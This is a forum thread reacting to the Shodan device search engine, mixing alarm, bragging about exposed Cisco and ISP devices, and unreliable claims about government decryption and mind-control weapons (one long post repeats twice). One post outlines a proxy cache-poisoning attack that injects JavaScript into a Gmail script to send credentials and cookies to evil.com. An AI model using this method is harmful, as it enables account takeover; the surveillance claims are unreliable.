Scariest Search Engine on the Internet
- Thread starter keytenx
- Start date
-
- Tags
- search engine
keytenx
Supreme Member
- Sep 18, 2011
- 1,425
- 813
yes but it could also use by hackers with malicious intent into something that might cause national or possibly global crisis. I bet the feds already aware about Shodan, but why it is still on the net? Sorry about the noob question, im just fascinated why does the gov haven't take it down yet.
sashablack
Elite Member
- Jan 8, 2010
- 3,686
- 2,095
wow, that is cool and scary 
- May 17, 2010
- 799
- 577
Because he isn't breaking the law and this isn't China
keytenx
Supreme Member
- Sep 18, 2011
- 1,425
- 813
jazzc
Elite Member
- Jan 27, 2009
- 2,964
- 14,717
keytenx
Supreme Member
- Sep 18, 2011
- 1,425
- 813
You watch too much Hollywood movies
Now i do realize that you really is a psychic Jazzc.
mikkelwilk
Registered Member
- Apr 1, 2013
- 77
- 5
Cool and scary at the same time haha
edgematch
Elite Member
- May 24, 2010
- 2,545
- 1,971
No. Computers are nothing. He is doing it with just a brain....
madoctopus
Supreme Member
- Apr 4, 2010
- 1,388
- 3,709
Whats so scary about it? Go on youtube and search "defcon" and watch those vids. Especially the ones about hacking ATC (aircraft traffic control) radio signaling, javascript botnet (to see how dumb some people are and how yo stole identities and personal data), etc. etc.
Gov already has capability to decrypt a lot of stuff including SSL. They had SSL brutforcing capability since like 10 years ago. Publicly. They could bruteforce SSL128 in 2 seconds flat 10 years ago guess what they can do today?! Moreover they already monitor all traffic including that in other countries and not just internet traffic. During cold war they were doing underwater wiretaping of russian comms. They've had capability to extract data from RAM after computer was turned off for hours, to duplicate a monitor (including LCD) image from a block away by using just the radiation produced by the monitor or the signal cable, etc. You think they have a problem from a bunch of amateurs who use something like Shodan?
Plus all infrastructure stuff is on closed networks so you can't attack them from online. When you hear they hacked into NASA that's not really NASA but just some servers they had connected to the Internet or computers that were never supposed to have hardcore security. Then infrastructure stuff like power, gas, etc. runs on custom operating systems and using custom software and maybe even on closed source layered networks like the military.
Yeah I guess some good hackers might get in up to a point but not that far and I'm pretty confident they couldn't crash the whole country like you see in Die Hard movie.
They can and they have penetrated secure facilities of opposing countries though. I even remember reading or watching a documentary how CIA managed to track some orders of Iraq's gov orders for printers and get them some special printers delivered with special chips in them. Then they used them during the initial phase of the attack to obtain intelligence. Not 100% sure about the accuracy or truth value of this info though but remember something along those lines.
Want more? They have mass control and targeted methods of mental manipulation and I'm not talking about the stuff using media carriers but more hardcore stuff. For example I read about them using stuff like this in Iraq where they had the enemy soldiers have visions (hallucinations) of Allah telling them there's no point to fight and is better to surrender. Russians used similar stuff (different tech though) in Chechnya and other places. They have microwave weapons (were shown in a documentary called "Future Weapon" I think) for dispersion of masses (they make you feel burns beneath the skin) and say they are non-lethal and safe to use. Its pretty obvious that's a matter of configuration and if you change some parameters you can kill with them.
So, I wouldn't worry about US having problems. Private sector, especially the average Joe... different story altogether. But then again if you get hacked as a regular person is not like the world ends. Well unless you do really dumb things like reply to that Nigerian prince so you get the $20mil you inherited from the grandfather you never knew you had.
Gov already has capability to decrypt a lot of stuff including SSL. They had SSL brutforcing capability since like 10 years ago. Publicly. They could bruteforce SSL128 in 2 seconds flat 10 years ago guess what they can do today?! Moreover they already monitor all traffic including that in other countries and not just internet traffic. During cold war they were doing underwater wiretaping of russian comms. They've had capability to extract data from RAM after computer was turned off for hours, to duplicate a monitor (including LCD) image from a block away by using just the radiation produced by the monitor or the signal cable, etc. You think they have a problem from a bunch of amateurs who use something like Shodan?
Plus all infrastructure stuff is on closed networks so you can't attack them from online. When you hear they hacked into NASA that's not really NASA but just some servers they had connected to the Internet or computers that were never supposed to have hardcore security. Then infrastructure stuff like power, gas, etc. runs on custom operating systems and using custom software and maybe even on closed source layered networks like the military.
Yeah I guess some good hackers might get in up to a point but not that far and I'm pretty confident they couldn't crash the whole country like you see in Die Hard movie.
They can and they have penetrated secure facilities of opposing countries though. I even remember reading or watching a documentary how CIA managed to track some orders of Iraq's gov orders for printers and get them some special printers delivered with special chips in them. Then they used them during the initial phase of the attack to obtain intelligence. Not 100% sure about the accuracy or truth value of this info though but remember something along those lines.
Want more? They have mass control and targeted methods of mental manipulation and I'm not talking about the stuff using media carriers but more hardcore stuff. For example I read about them using stuff like this in Iraq where they had the enemy soldiers have visions (hallucinations) of Allah telling them there's no point to fight and is better to surrender. Russians used similar stuff (different tech though) in Chechnya and other places. They have microwave weapons (were shown in a documentary called "Future Weapon" I think) for dispersion of masses (they make you feel burns beneath the skin) and say they are non-lethal and safe to use. Its pretty obvious that's a matter of configuration and if you change some parameters you can kill with them.
So, I wouldn't worry about US having problems. Private sector, especially the average Joe... different story altogether. But then again if you get hacked as a regular person is not like the world ends. Well unless you do really dumb things like reply to that Nigerian prince so you get the $20mil you inherited from the grandfather you never knew you had.
madoctopus
Supreme Member
- Apr 4, 2010
- 1,388
- 3,709
is not complicated to hack accounts. all you have to do is precache a JS and hook into the form and steal the user/pass. this is easy using a proxy with an injector. Example:
- You decide you want to steal GMail accounts
- You create a proxy server at IP 1.2.3.4 and find a JS file that gmail login page is loading and inject it with a hook that sends user/pass/cookie/etc to your evil.com server by loading an image using something like <img sec="http://evil.com/steal.php?user=...&pass=...&cookie=...">
- You make proxy server inject a request for the Google JS file in any page that is requested. You set the expire headers for the JS file to 10 years or something big.
- User uses your proxy to load blackhatworld.com but also loads the Google JS file bc was injected by the proxy. Now has that poisoned file in the browser cache.
- User stops using proxy and regularly logs into Gmail. When in gmail login page that page requires the google js file but since browser has it in cache it uses the cached version not the live one. the cached version as we know is poisoned/infected and calls evil.com sending it the credentials.
- Hacker logs into his evil.com cpanel and sees your details.
- Hacker logs-in your gmail and changes the pass and starts to spam or whatever (in your name).
That's the gist of it. Other methods exist too but this is easy and requires little skill. Onl way to protect from this type of attack is to clear browser cache after each session and/or not use public or untrusted proxies. Peope have the misunderstanding that a proxy hides your IP. IT does but it hides it from the other server. The proxy itself knows your IP and has access to all your traffic.
ReALeST
Power Member
- May 16, 2012
- 585
- 399
funny thing is i was watching Michael's presentations on this just a day ago....and its prety awesum stuff...he totally pwned a whole ISP with just 10 minutes of searching on shodanhq...its pretty funny coz after watching it i decided id have a go and LO and BEHOLD...theres tons of cisco devices...(and yes ISP's too) on there just open to anybody to totally PWN them!...and am talking redirect traffic...inject ads...own all client data and alot more fun stuff!!!If any one is interested here is a talk he gave at Dojocon...enjoy but try not to get arrested lol!
!!!If any one is interested here is a talk he gave at Dojocon...enjoy but try not to get arrested lol!
Last edited by a moderator:
ShadeDream
BANNED
- Nov 27, 2008
- 2,296
- 5,536
lol
Code:
http://www.shodanhq.com/search?q=PHPSESSIDxrayxrayers
Newbie
- Mar 19, 2013
- 30
- 1
saw this yesterday. kinda scary how our privacy isn't the same as before now that technology has advanced. Imagine how it will be in 20 years.
charlie3
Senior Member
- Oct 4, 2009
- 1,078
- 493